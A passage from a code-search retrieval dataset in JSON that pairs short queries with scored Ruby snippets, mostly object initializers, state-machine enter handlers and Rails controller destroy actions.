"text": "def initialize\n\t\t@@object_count +=1\n\tend",
"title": ""
},
{
"docid": "855508bc80423b78020b06deec41f846",
"score": "0.5630138",
"text": "def initialize() #method\n @variables = {}\n end",
"title": ""
},
{
"docid": "7d1bee01372227f20e18fd90c6e9a60f",
"score": "0.56277823",
"text": "def singleton_state\n super\n end",
"title": ""
},
{
"docid": "ddbd47df3dd00c3f4038caac58bd4357",
"score": "0.5627347",
"text": "def initialize\r\n @hp = @mp = @tp = 0\r\n @hidden = false\r\n clear_param_plus\r\n clear_states\r\n clear_buffs\r\n end",
"title": ""
},
{
"docid": "36475dff000c0c5ae3f6480d3f2a969c",
"score": "0.5622989",
"text": "def setup_instance\n @buffer = ''\n @discard = ''\n @thread = nil\n @out_mutex = Mutex.new\n @interact = false\n end",
"title": ""
},
{
"docid": "765cc16b08894f6193ff2e0a0a63d946",
"score": "0.5616489",
"text": "def initialize\n self.timer_list = []\n self.all_characters = []\n self.all_accounts = []\n self.admins = []\n self.builders = []\n self.msgs = {}\n @connected_characters = []\n end",
"title": ""
},
{
"docid": "18250542a2b1999be90588db1d071d92",
"score": "0.5608453",
"text": "def initialize\n\t\t\n\tend",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.5607321",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.5607321",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.5607321",
"text": "def instance; end",
"title": ""
},
{
"docid": "f3953b12228d0484d57ed77906e79df4",
"score": "0.5598371",
"text": "def singleton_cache; end",
"title": ""
},
{
"docid": "df15df0c0e85ef504fe784e2c56f89c4",
"score": "0.55804163",
"text": "def initialize()\n reset!\n end",
"title": ""
},
{
"docid": "4025bf74db5fb8f33be0196b8f0d787e",
"score": "0.55783254",
"text": "def initialize(first_name, how_old)\n # @ vars are called _instance variables_\n @name = first_name\n @age = how_old\n # if self is in an instance method,\n # it refers to an instance!\n @@all << self\n end",
"title": ""
},
{
"docid": "d08f0cfe2b2b8c3c738e72226f397b1f",
"score": "0.5572604",
"text": "def initialize\n\n\n\n end",
"title": ""
},
{
"docid": "7ab2780cb2dd2516885f0d9827d9cb73",
"score": "0.5572276",
"text": "def init_private_members\n super\n @move_route = nil # Move route\n @move_route_index = 0 # Move route execution position\n @original_move_route = nil # Original move route\n @original_move_route_index = 0 # Original move route execution position\n @wait_count = 0 # Wait count\n end",
"title": ""
},
{
"docid": "d027f5b1a4d449b2b9764dd80c58a3c3",
"score": "0.5563065",
"text": "def reset_instance_variables_values\n @guess = []\n @feedback = []\n @round = 1\n @winner = ''\n end",
"title": ""
},
{
"docid": "142d284a2838faebd6ffbd5a6c621a4a",
"score": "0.5558121",
"text": "def virus_effects #HINT: What is the SCOPE of instance variables?\n predicted_deaths\n speed_of_spread\n end",
"title": ""
},
{
"docid": "142d284a2838faebd6ffbd5a6c621a4a",
"score": "0.5558121",
"text": "def virus_effects #HINT: What is the SCOPE of instance variables?\n predicted_deaths\n speed_of_spread\n end",
"title": ""
},
{
"docid": "142d284a2838faebd6ffbd5a6c621a4a",
"score": "0.5558121",
"text": "def virus_effects #HINT: What is the SCOPE of instance variables?\n predicted_deaths\n speed_of_spread\n end",
"title": ""
},
{
"docid": "868bee689e613366bcde437be63323ba",
"score": "0.5557993",
"text": "def init\n\n end",
"title": ""
},
{
"docid": "27e5eb8a6379db94637f203a6e0cce88",
"score": "0.5557388",
"text": "def initialize\r\n @card_list = CardList.new\r\n #my_ob = Ob_one.new(self)\r\n #my_ob2 = Ob_low_winners.new(self)\r\n my_ob3 = Ob_change_winners.new(self)\r\n @last_winner = String.new\r\n end",
"title": ""
},
{
"docid": "38cf770f97c1221f594fa6aebcc8bc58",
"score": "0.55554557",
"text": "def initialize\n self.player_hash = {}\n self.user_hash = {}\n self.playing_user_names=[]\n self.started = false\n self.disks_for_each_player=4#default\n self.shuffle_names = true\n end",
"title": ""
},
{
"docid": "d5b2c651ef02f091c61a5639e05783d2",
"score": "0.55529237",
"text": "def initialize\n \n end",
"title": ""
},
{
"docid": "2db49a06e81dc6f129cd052fb30f468d",
"score": "0.55498683",
"text": "def intern() end",
"title": ""
},
{
"docid": "ef256142622d18687b4154a9a5fb1d37",
"score": "0.55468905",
"text": "def initialize\n reset!()\n end",
"title": ""
},
{
"docid": "6a6ed5368f43a25fb9264e65117fa7d1",
"score": "0.55463284",
"text": "def internal; end",
"title": ""
},
{
"docid": "d30efd2ddd0b0b4fbf3b7cdf5b46be44",
"score": "0.55351305",
"text": "def instance=(instance); end",
"title": ""
}
] |
db43b7f5ed5809d25e04cfd5fa793a46
|
triggered on enter state
|
[
{
"docid": "d4aef1adcb9d55df28b23aa5de832545",
"score": "0.6964718",
"text": "def on_enter(state)\n log \"Enter: #{self.state}\"\n if state == STATE_SLEEP\n self.next_tick_at = sleep_duration.minutes.from_now\n elsif state == STATE_RUNNING\n self.shot_left -= 1\n self.next_tick_at = shot_duration.minutes.from_now\n send_start_command!\n end\n end",
"title": ""
}
] |
[
{
"docid": "ed757d85881b6b43c45daed35379fb07",
"score": "0.77374715",
"text": "def enter\n @gate_state.enter\n end",
"title": ""
},
{
"docid": "88e980b3127d0bb00279625e7f82d655",
"score": "0.7229184",
"text": "def on_enter\n raise \"Cannot enter Label\"\n end",
"title": ""
},
{
"docid": "8fdb518070afdc48e50fd4cf7bc4188c",
"score": "0.7225084",
"text": "def on_enter &block\n @on_enter_block = block\n end",
"title": ""
},
{
"docid": "92a9bfd126100b6e307497f81296da9a",
"score": "0.7192526",
"text": "def enter(&proc)\n @state.enter << proc\n end",
"title": ""
},
{
"docid": "d617ee1997670c1c23737d2cf36e4142",
"score": "0.7145194",
"text": "def entered;end",
"title": ""
},
{
"docid": "8d564d1a1e9f5daf6a4ae92077c425c2",
"score": "0.7100039",
"text": "def on_enter\n # 2010-09-14 00:58 forcing first always\n if $current_key == KEY_BTAB\n @current_component = @second_component\n else\n @current_component = @first_component\n end\n @current_component.on_enter if @current_component\n\n set_form_row\n end",
"title": ""
},
{
"docid": "cb3fefbf6eacdef4109b335702e85028",
"score": "0.7058903",
"text": "def on_enter(room, mes)\n end",
"title": ""
},
{
"docid": "ba7f1f56a6b793706f98f3b50d13e74b",
"score": "0.69933206",
"text": "def state_entry\n puts \"entering Default state\"\n end",
"title": ""
},
{
"docid": "f7b1649d7ce03b60193042bfe7c065ac",
"score": "0.6988723",
"text": "def on_enter e\n # Ensure the 'master' is one below us\n a = manager.get_active_client()\n a.raise() if a unless get_transient_for() # unless we are a transient\n \n # overlap the 'master'\n self.raise()\n # take focus\n self.focus()\n\n # draw border\n render_active_hint()\n end",
"title": ""
},
{
"docid": "e7f5577d587935eb0cdee43d4e2ebe83",
"score": "0.69871336",
"text": "def on_leave\n @_entered = false\n super\n end",
"title": ""
},
{
"docid": "e1f2c5b78e30fef6c088d410b7138bd1",
"score": "0.69592655",
"text": "def on_enter\n # if BTAB, the last comp XXX they must be focusable FIXME\n if $current_key == KEY_BTAB || $current_key == KEY_UP\n @current_component = @focusables.last\n else\n @current_component = @focusables.first\n end\n return unless @current_component\n $log.debug \" CONTAINER came to ON_ENTER #{@current_component} \"\n set_form_row\n @_entered = true\n end",
"title": ""
},
{
"docid": "d721f86479f602e1d0c17fc03c821e22",
"score": "0.69307745",
"text": "def enter\n performAction 'send_key_enter'\n end",
"title": ""
},
{
"docid": "e7e62182fefc15bb29df5dc869d2c668",
"score": "0.68976986",
"text": "def enter\n platform.enter\n end",
"title": ""
},
{
"docid": "f269e117aed091c7e94d7570dce2cde8",
"score": "0.6839602",
"text": "def enter_state\n \t@delegate.enter_state if @delegate.respond_to? :enter_state\n end",
"title": ""
},
{
"docid": "a3f0fa7953216dc883ec5a59cc7554ed",
"score": "0.67985773",
"text": "def after_enter(*args, &block)\n add_callback(:after_enter, FlowMachine::StateCallback.new(*args, &block))\n end",
"title": ""
},
{
"docid": "6d07122484b5e36f05f163c1c75b86b6",
"score": "0.67970526",
"text": "def enter_in_sinking_state\n @update_callback = :update_enter_sinking_state\n @update_callback_count = 0\n end",
"title": ""
},
{
"docid": "10edf298eeada9685fa192e9adb2b901",
"score": "0.67781603",
"text": "def on_enter\n # if BTAB, the last comp\n if $current_key == KEY_BTAB\n @current_component = @components.last\n else\n @current_component = @components.first\n end\n return unless @current_component\n $log.debug \" NEWTABBED came to ON_ENTER #{@current_component} \"\n set_form_row\n @_entered = true\n end",
"title": ""
},
{
"docid": "faf4d5fc1d94e23db44fa57aff6a52e7",
"score": "0.6745144",
"text": "def on_enter\n if @list.nil? || @list.size == 0\n Ncurses.beep\n return :UNHANDLED\n end\n on_enter_row @current_index\n set_form_row \n @repaint_required = true\n super\n true\n end",
"title": ""
},
{
"docid": "faf4d5fc1d94e23db44fa57aff6a52e7",
"score": "0.6745144",
"text": "def on_enter\n if @list.nil? || @list.size == 0\n Ncurses.beep\n return :UNHANDLED\n end\n on_enter_row @current_index\n set_form_row \n @repaint_required = true\n super\n true\n end",
"title": ""
},
{
"docid": "883f1363ded6793551f331f2084287ef",
"score": "0.6733391",
"text": "def on_enter\n if @list.nil? || @list.size == 0\n Ncurses.beep\n return :UNHANDLED\n end\n on_enter_row @current_index\n set_form_row # added 2009-01-11 23:41 \n #$log.debug \" ONE ENTER LIST #{@current_index}, #{@form.row}\"\n @repaint_required = true\n super\n #fire_handler :ENTER, self\n true\n end",
"title": ""
},
{
"docid": "1b5820ea50c9ab92c73b5b8117777aa9",
"score": "0.66967285",
"text": "def enter_state(state)\n if (@state)\n leave_state(@state)\n end\n \n @state = state\n\n delegate_call(:interpreter_entered_state, self, @state)\n \n trigger_callbacks(state, :enter)\n \n # :terminated is the state, :terminate is the trigger.\n if (@state != :terminated)\n if (trigger_callbacks(state, :terminate))\n enter_state(:terminated)\n end\n end\n end",
"title": ""
},
{
"docid": "ef5ccbe732a644e9befd39ae11536674",
"score": "0.6687011",
"text": "def on_enter\n if @list.size < 1\n Ncurses.beep\n return false\n end\n on_enter_row @current_index\n set_form_row # added 2009-01-11 23:41 \n #$log.debug \" ONE ENTER LIST #{@current_index}, #{@form.row}\"\n @repaint_required = true\n super\n #fire_handler :ENTER, self\n true\n end",
"title": ""
},
{
"docid": "38e371018930b96159852e70f74084cd",
"score": "0.6679941",
"text": "def on_entry_hook(state, _event, *_event_args)\n __debug_hook('ENTER >>> [GENERIC]', state.to_sym)\n end",
"title": ""
},
{
"docid": "8defb48c813514050395e06936e11fbf",
"score": "0.66260177",
"text": "def on_enter\n super\n set_form_row\n set_form_col # 2009-01-17 01:35 \n on_enter_cell focussed_row(), focussed_col() unless focussed_row().nil? or focussed_col().nil?\n end",
"title": ""
},
{
"docid": "5a8735c8da4450b51525840b3b8c6c06",
"score": "0.66048807",
"text": "def enter(&block)\n LSpace.enter(self, &block)\n end",
"title": ""
},
{
"docid": "550e0f2b53a7d560f7349fb5975b9aa8",
"score": "0.65390694",
"text": "def entered(player)\n @on_enter.call(player) unless @on_enter.nil?\n end",
"title": ""
},
{
"docid": "5ef48307b7c6922a49633f3adf1c3032",
"score": "0.6493602",
"text": "def on_enter f\n return if f.nil? || !f.focusable # added focusable, else label was firing 2010-09\n\n f.state = :HIGHLIGHTED\n # If the widget has a color defined for focussed, set repaint\n # otherwise it will not be repainted unless user edits !\n if f.highlight_color_pair || f.highlight_attr\n f.repaint_required = true\n end\n\n f.modified = false\n f.on_enter if f.respond_to? :on_enter\n end",
"title": ""
},
{
"docid": "5c9db10a73af32ba14d85f98a34d65d3",
"score": "0.6453696",
"text": "def enterState(state)\n @state = state\n if @state.scenes.size > 0\n @scene = @state.scenes[@state.currentscene]\n end\n end",
"title": ""
},
{
"docid": "e79ddd206cba4b2cd1b258b58c3137fc",
"score": "0.6420556",
"text": "def onEnter(x,y,button)\n Gdk.pointer_ungrab(Gdk::CURRENT_TIME)\n @buttonTab[x][y].set_focus(TRUE)\n\n if button.state.button1_mask?\n if @timePress[x][y]%2 == 0\n\n changeImage(@buttonTab[x][y],@tabCase[@nbHypo])\n\n @map.putAt!(x,y,Case.create(1))\n############################################################################################\n\t\tif(@dida.etape == 2 && @verifcase == 0)\n\t\t\t@verifcase += 1\n\t\t\t#etape du didacticiel\n\t\t\taffichemessage()\n\t\tend\n if(@dida.etape == 6 && @verifhypocase == 0)\n\t\t\t@verifhypocase += 1\n\t\t\t#etape du didacticiel\n\t\t\taffichemessage()\n\t\tend\n############################################################################################\n\n @map.accessAt(x,y).color=@nbHypo\n #print \"Color sur le enter #{@map.accessAt(x,y).color}\\n\"\n else\n @map.putAt!(x,y,Case.create(0))\n \tchangeImage(@buttonTab[x][y],\"../images/cases/blanc.png\")\n end\n @timePress[x][y]+=1\n if @map.compare #####QUOI FAIRE EN CAS DE VICTOIRE\n\t\t\t\tvictoire()\n end\n elsif button.state.button3_mask?\n ############################################################################################\n if(@dida.etape == 3 && @verifcroix == 0)\n @verifcroix += 1\n #etape du didacticiel\n affichemessage()\n end\n ############################################################################################\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\")\n @map.putAt!(x,y,Case.create(2))\n @timePress[x][y]=0\n\n #MouseOver : changement des images au survol de la case\n\n else\n if (@map.accessAt(x,y).value == 0)\n ajoutLimitationOver(x,y)\n\tsurlignageLigneColonne(1,x,y)\n elsif (@map.accessAt(x,y).value == 1)\n # print \"color =#{@map.accessAt(x,y).color}\\n\"\n if @map.accessAt(x,y).color != nil\n if (@map.accessAt(x,y).color == @nbHypo + 1)\n @timePress[x][y] = 1\n @map.accessAt(x,y).color = @nbHypo\n end\n changeImage(@buttonTab[x][y],@tabCaseOver[@map.accessAt(x,y).color])\n\t\t\t\t\t\t\tsurlignageLigneColonne(1,x,y)\n end\n\n elsif(@map.accessAt(x,y).value == 2)\n changeImage(@buttonTab[x][y],\"../images/cases/croixOver.png\")\n\t\t\t\t\tsurlignageLigneColonne(1,x,y)\n end\n\n end\n end",
"title": ""
},
{
"docid": "e7843cf66da71e38870754e9c71a7f59",
"score": "0.6393501",
"text": "def emit_enter_area\n @room_controller.emit_echo(self, \"#{short_desc} enters the area.\")\n end",
"title": ""
},
{
"docid": "e3bf28d8b95ec8d385af0bba48b9d670",
"score": "0.63933897",
"text": "def enter_failed; end",
"title": ""
},
{
"docid": "62b887bd1bd75629fa35f612cfef6236",
"score": "0.6382555",
"text": "def on_enter_row arow\n fire_handler :ENTER_ROW, self\n @repaint_required = true\n end",
"title": ""
},
{
"docid": "62b887bd1bd75629fa35f612cfef6236",
"score": "0.6382555",
"text": "def on_enter_row arow\n fire_handler :ENTER_ROW, self\n @repaint_required = true\n end",
"title": ""
},
{
"docid": "62b887bd1bd75629fa35f612cfef6236",
"score": "0.6382555",
"text": "def on_enter_row arow\n fire_handler :ENTER_ROW, self\n @repaint_required = true\n end",
"title": ""
},
{
"docid": "306a85b7f0a789b7aefe865cc9d516c5",
"score": "0.6376669",
"text": "def enter\n @Calls[:whenEntered].each { |lam| lam.call if lam.is_a? Proc }\n @exited = false\n while !@exited do inputLoop end\n @Calls[:whenExited].each { |lam| lam.call if lam.is_a? Proc }\n end",
"title": ""
},
{
"docid": "cce0e7e7bbe88068d291fd98dfdbe77e",
"score": "0.63648605",
"text": "def do_enter_state(state)\n @state = state\n @state_at[@state] = Time.now\n end",
"title": ""
},
{
"docid": "a5d91fcd50fa30774d7a14cfa203c5bc",
"score": "0.6323783",
"text": "def on_room_enter(*args, &block)\n register_hook :room_enter, args, block\n end",
"title": ""
},
{
"docid": "8721439158f92f36c27020c3d60f9015",
"score": "0.63086706",
"text": "def enter(target)\n @enter.execute(target) if @enter\n nil\n end",
"title": ""
},
{
"docid": "9e55dc90c25b7ab1c9d5ca9e0460e5da",
"score": "0.62849265",
"text": "def on_starting_entry(state, event, *event_args)\n super\n\n __debug_sim('The workflow is starting.')\n\n self\n end",
"title": ""
},
{
"docid": "8fbc343bda59cb2c4781a7d9ecd9a79b",
"score": "0.62816",
"text": "def enter(last_scene:)\n end",
"title": ""
},
{
"docid": "8f5173465e0823cf3bfec607a74c51d3",
"score": "0.6243777",
"text": "def wf_on_enter_one\n \"on_enter_one\"\n end",
"title": ""
},
{
"docid": "85275cd07b9622afe8abb54eac9eb9b8",
"score": "0.6235344",
"text": "def enter(&block)\n (@options[:enter] ||= [ ]) << block\n end",
"title": ""
},
{
"docid": "562710d596d096763e1fe63c55583eae",
"score": "0.62091726",
"text": "def enter_table\n # TODO enqueue table entry event\n end",
"title": ""
},
{
"docid": "c56ea3899c1d161b49a96bd3ceb0eb7d",
"score": "0.62043935",
"text": "def on_activate\n end",
"title": ""
},
{
"docid": "ef4504591f071a08521d96ce88e9b1ef",
"score": "0.6189821",
"text": "def enter\n Cproton.pn_data_enter(@data)\n end",
"title": ""
},
{
"docid": "081999239da8f855c28604c83d5b49e8",
"score": "0.61498755",
"text": "def new_branch_keypressed(evt)\n if evt.code == javafx.scene.input.KeyCode::ENTER\n create_branch(nil)\n end\n end",
"title": ""
},
{
"docid": "7fe7503eefd424237c44c6f3844e7520",
"score": "0.61415356",
"text": "def on_entry &block\n root_state_definition.on_entry(&block)\n end",
"title": ""
},
{
"docid": "1e580d0410f8648ace97fba909a4402a",
"score": "0.61414057",
"text": "def activate\r\n end",
"title": ""
},
{
"docid": "97668240c4f6b0d06d5964a05faed876",
"score": "0.61236626",
"text": "def postActivate()\n return true\n end",
"title": ""
},
{
"docid": "eda262ecccab3f5a761c7913ac758e9b",
"score": "0.61175835",
"text": "def handle_start\n @state.handle_start\n true\n end",
"title": ""
},
{
"docid": "e19c690f236eabfb449585a9103ce548",
"score": "0.6117206",
"text": "def keyenter(_)\n if @input.nil? || @input.empty?\n @input = @choices[@default - 1].key\n @default_key = true\n end\n\n selected = select_choice(@input)\n\n if selected && selected.key.to_s == \"h\"\n expand\n @selected = nil\n @input = \"\"\n elsif selected\n @done = true\n @selected = selected\n @hint = nil\n else\n @input = \"\"\n end\n end",
"title": ""
},
{
"docid": "e40f997f9fb2360a461254c1094c4303",
"score": "0.6116782",
"text": "def enter_completed; end",
"title": ""
},
{
"docid": "59577563b38dcbaf3301ea8ab48e948e",
"score": "0.6110257",
"text": "def enter\n if @state == :starting and clients.values.all? { |client| client.ready }\n # TODO logger\n enviroment.enter_the_matrix\n end\n end",
"title": ""
},
{
"docid": "27014441169a300ae8de321cce5ac024",
"score": "0.6077555",
"text": "def enter!\n self.last_login_at = Time.now\n self.last_pinged_at = Time.now\n self.active = true\n self.save\n \n UserEnteredEvent.new(self).enqueue_for_all_active_users(:except => self.id)\n self\n end",
"title": ""
},
{
"docid": "9ee617d372871bff02f34ba31c5038d4",
"score": "0.6074374",
"text": "def hit_enter\n @driver.action.send_keys(:enter).perform\n timestamp = Time.now\n sleep Config.click_wait\n timestamp\n end",
"title": ""
},
{
"docid": "3a81d3398793d001e2d6efce551a718f",
"score": "0.6060758",
"text": "def enter_checkout; end",
"title": ""
},
{
"docid": "889e13c1f215e5c9754db6c1fe5dbf8b",
"score": "0.60542953",
"text": "def on_enter\n super\n on_enter_row @current_index\n # basically I need to only highlight the current index, not repaint all OPTIMIZE \n #touch ; repaint ## 2018 why was i calling repaint here ??? causing error in messagebox since window nil\n touch \n end",
"title": ""
},
{
"docid": "001a6e8ab8c5a5a8aa2253796d89a5cb",
"score": "0.60036093",
"text": "def enter\n puts \"INVALID, GATE IS CLOSED\"\n end",
"title": ""
},
{
"docid": "c38d0d5da62a0d1004a26778298e561e",
"score": "0.5985384",
"text": "def entered?\n Context.current == self\n end",
"title": ""
},
{
"docid": "abe3c13037a9c3c5928175da8611d57f",
"score": "0.5972652",
"text": "def activate; end",
"title": ""
},
{
"docid": "abe3c13037a9c3c5928175da8611d57f",
"score": "0.5972652",
"text": "def activate; end",
"title": ""
},
{
"docid": "99988950e292ed98b09789d7100e4af0",
"score": "0.5942034",
"text": "def activate\n end",
"title": ""
},
{
"docid": "99988950e292ed98b09789d7100e4af0",
"score": "0.5942034",
"text": "def activate\n end",
"title": ""
},
{
"docid": "99988950e292ed98b09789d7100e4af0",
"score": "0.5942034",
"text": "def activate\n end",
"title": ""
},
{
"docid": "d42640399ee8e23098b5ebba3935e34d",
"score": "0.5934847",
"text": "def enter_the_matrix\n @state = :starting\n enter\n end",
"title": ""
},
{
"docid": "be60d38911d296224ab0d73278391c7e",
"score": "0.5928",
"text": "def activate\n \n end",
"title": ""
},
{
"docid": "be60d38911d296224ab0d73278391c7e",
"score": "0.5928",
"text": "def activate\n \n end",
"title": ""
},
{
"docid": "f04501febbb5a12420a78a2f694c3911",
"score": "0.5923916",
"text": "def enter\n @session.log.debug \"#{self.class.name}: enter\"\n\n raise \"#{self.class.name}.enter: no entry_url has been set\" if self.class.entry_url.nil?\n\n arrived? do\n @session.log.info \"#{self.class.name}: about to goto #{self.class.entry_url} from #{@browser.url}\"\n @browser.goto self.class.entry_url\n end\n end",
"title": ""
},
{
"docid": "e2bdabe0e362c061d53e09d71966d3ad",
"score": "0.59195065",
"text": "def sel_dnd_enter(&block)\n self.connect(SEL_DND_ENTER, &block)\n end",
"title": ""
},
{
"docid": "d970383b4f916ac414d272687ac78556",
"score": "0.5912719",
"text": "def run *args\n st = current_state args\n if !st\n st = @@states.first\n if st[:on]\n self.send(st[:on][:enter], args) if st[:on].has_key?(:enter)\n end\n set_current_state(st, args)\n end\n st\n end",
"title": ""
},
{
"docid": "7337b944f7781e6a8724135e80d9cfd1",
"score": "0.59110844",
"text": "def on_starting_exit(state, event, *event_args)\n super\n\n unless event == :start\n\n __debug_sim(\"Using workflow #{self.class}\")\n __debug_sim(\"with workflow_phase: #{workflow_phase.inspect}\")\n __debug_sim(\"with variant_type: #{variant_type.inspect}\")\n __debug_sim(\"with record: #{record.inspect}\")\n\n set_workflow_phase(workflow_phase)\n\n end\n\n self\n end",
"title": ""
},
{
"docid": "7b208d32b9f3ce18a5ab88eeb785a69a",
"score": "0.5910912",
"text": "def enter(room) \n puts \"Enter #{room.number}\"\n #Set the current room to the new current room\n setCurrRoomNumber(room.number)\n # puts getRoom\n \n end",
"title": ""
},
{
"docid": "15d09d23bc7e6c58ab99eb66bd88bb9a",
"score": "0.58947015",
"text": "def enter\n puts \"For beating the dragon, the king knights you and gives you lands.\"\n end",
"title": ""
},
{
"docid": "520ba223d17caaae140f5723540971ad",
"score": "0.5849295",
"text": "def enter(command)\n @operator.resume(command)\n end",
"title": ""
},
{
"docid": "8c9fe43ffa39fb2e8967d93b8cd54309",
"score": "0.5839567",
"text": "def press_enter\n @log.debug('Pressing enter ' + @name + ' element')\n @element.send_keys(:enter)\n end",
"title": ""
},
{
"docid": "8c9fe43ffa39fb2e8967d93b8cd54309",
"score": "0.5838432",
"text": "def press_enter\n @log.debug('Pressing enter ' + @name + ' element')\n @element.send_keys(:enter)\n end",
"title": ""
},
{
"docid": "49d61419e09cc531cbf3a0c13506200b",
"score": "0.5835404",
"text": "def activate\n end",
"title": ""
},
{
"docid": "fd2a88b6a1c7f78ce78e2e1de91f6700",
"score": "0.5823312",
"text": "def enter_in_running_state\n $game_switches[::Yuki::Sw::EV_Run] = true\n @state = @in_swamp ? :swamp_running : :running\n update_move_parameter(:running)\n update_appearance(@pattern)\n end",
"title": ""
},
{
"docid": "96f1d024f16ad5cf88c70fe53d09b4af",
"score": "0.5821722",
"text": "def enter\n puts \"This looks like a standard dungeon hallway leading off into the \" \\\n \"darkness beyond, however there is a dim light coming from doorways to the left \" \\\n \"and right.\"\n if @monster\n puts \"An evil #{@monster.monster} is here.\"\n else\n puts \"The room is eerily quite.\"\n end\n end",
"title": ""
},
{
"docid": "81ac5dde939c2fb81cf69d4457d0285a",
"score": "0.5820745",
"text": "def keydowned(event)\n entered if Native(event).keyCode == 13\n end",
"title": ""
},
{
"docid": "8a7a2496486bf1fb0965ab63e002a030",
"score": "0.5814546",
"text": "def set_enter\n @enter = Enter.find(params[:id])\n end",
"title": ""
},
{
"docid": "1fd14e621aebc599ff7edb6985873111",
"score": "0.58006114",
"text": "def enter(&block)\n if !entered?\n lock_scope_and_enter(&block)\n else\n yield\n end\n end",
"title": ""
},
{
"docid": "9aac6ab1073218eddaab1745733cdbd1",
"score": "0.57882893",
"text": "def on_enter\n return if @components.nil?\n # cyclic means it always lands into first comp just as in rdoc\n # otherwise it will always land in last visited component\n if @cyclic_behavior\n # if user backtabbed in place him on last comp\n # else place him in first. \n if $current_key == KEY_BTAB\n @current_component = @components[@_last_column_print]\n @current_index = @_last_column_print\n else\n @current_component = @components[@_first_column_print]\n @current_index = @_first_column_print\n end\n end\n @current_component ||= @components.first\n set_form_row\n end",
"title": ""
},
{
"docid": "d5bfbdda19be74c97df6c919a07b65c4",
"score": "0.5766857",
"text": "def on_enter_row object\n $log.debug \" XXX on_enter_row of list_data\"\n fire_handler :ENTER_ROW, object\n end",
"title": ""
},
{
"docid": "a6ef98a1c17b41b0dba72cc6d7dc1329",
"score": "0.57492477",
"text": "def enterable?; end",
"title": ""
},
{
"docid": "aff6f49f059806bb1314d4effa9dcfdf",
"score": "0.574804",
"text": "def activate()\n\n end",
"title": ""
},
{
"docid": "512056f63b857a3a06abe3e84fb010a3",
"score": "0.57404494",
"text": "def enter_in_giving_pokemon_state\n @state = :giving_pokemon\n @update_callback = :update_giving_pokemon_state\n @update_callback_count = 0\n @prelock_direction = @direction\n @direction = 2\n update_appearance(0)\n end",
"title": ""
},
{
"docid": "1223494d855b3c018986e7c4b4f5eaad",
"score": "0.573413",
"text": "def post_enter_callback(mode_id)\n if has_mode? mode_id\n mode = @modes[mode_id].new\n mode.method :post_enter\n end\n end",
"title": ""
},
{
"docid": "0e276fcca6b34a031f73b0f330985a8d",
"score": "0.5731276",
"text": "def event; end",
"title": ""
},
{
"docid": "0e276fcca6b34a031f73b0f330985a8d",
"score": "0.5731276",
"text": "def event; end",
"title": ""
},
{
"docid": "0e276fcca6b34a031f73b0f330985a8d",
"score": "0.5731276",
"text": "def event; end",
"title": ""
},
{
"docid": "6072d178d3db7c9146ddf3b1f1afed2d",
"score": "0.57292986",
"text": "def entering_menu_keys(keys)\n @menu_enter_keys = keys\n end",
"title": ""
},
{
"docid": "3f595d177b55f198bee6d4e027484589",
"score": "0.57190865",
"text": "def enter_blocking_region\n\tend",
"title": ""
},
{
"docid": "9f9dd59d7bccf658dbef14829cf95e56",
"score": "0.57148105",
"text": "def enter_in_using_skill_state\n @state = :using_skill\n @update_callback = :update_4_step_animation\n @update_callback_count = 0\n @prelock_direction = @direction\n @direction = 6\n update_appearance(0)\n end",
"title": ""
},
{
"docid": "396c3abbc77579d34b31456da804b405",
"score": "0.5701695",
"text": "def enter_state(state) #:nodoc:\n state = state_to_const(state)\n raise RuntimeError, \"invalid state transition from #{@state} to #{state}\" unless @state.nil? or state > @state\n \n # We need state changes and callbacks to be atomic so that if we query a state change\n # we can be sure that its corresponding callback has finished running as well. Thus\n # we need to make sure to synchronize querying state (see #state).\n \n handle_callback(state)\n \n @lock.synchronize do\n do_enter_state(state)\n @cond.broadcast if state == STATE_FINISHED # Wake any threads that called join and are waiting.\n end\n end",
"title": ""
},
{
"docid": "6662d837e4601bcc091756b21ca69b25",
"score": "0.5701243",
"text": "def set_entered\n @entered = Entered.find(params[:id])\n end",
"title": ""
},
{
"docid": "df00a859c53a65873de578efb55e37d9",
"score": "0.5700634",
"text": "def enter(pos)\n @position = pos\n end",
"title": ""
},
{
"docid": "e16a95f0c9ce290eb828b8e4769d13ee",
"score": "0.56977785",
"text": "def enter_key\n remote? ? :return : :Enter\n end",
"title": ""
},
{
"docid": "101b407710228068ad465396c0de5c81",
"score": "0.5687116",
"text": "def on_activate &b\n end",
"title": ""
},
{
"docid": "101b407710228068ad465396c0de5c81",
"score": "0.5687116",
"text": "def on_activate &b\n end",
"title": ""
}
] |
b6bca3c8e9ed649138c538b25ccccf47
|
DELETE /games/1 DELETE /games/1.json
|
[
{
"docid": "d04571e668bb47225e03d6c50275650b",
"score": "0.73600286",
"text": "def destroy\r\n @game = Game.find(params[:id])\r\n @game.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to account_user_path(logged_in_user) }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
}
] |
[
{
"docid": "fd4eb511cd5e957a76d59b08b0244ce9",
"score": "0.7778522",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e556b38f3987e315b050212676687394",
"score": "0.7712217",
"text": "def destroy\n @game = Game.get(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e1e31f271e95183c3e202178fe521e66",
"score": "0.769782",
"text": "def destroy\n @game = Game.find(params[:id].to_i)\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ac705b559d10c09a83882587af4c9af5",
"score": "0.768534",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/games\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73899ed64bb5c31ff1ccc22ce408422a",
"score": "0.76516914",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "73899ed64bb5c31ff1ccc22ce408422a",
"score": "0.76516914",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
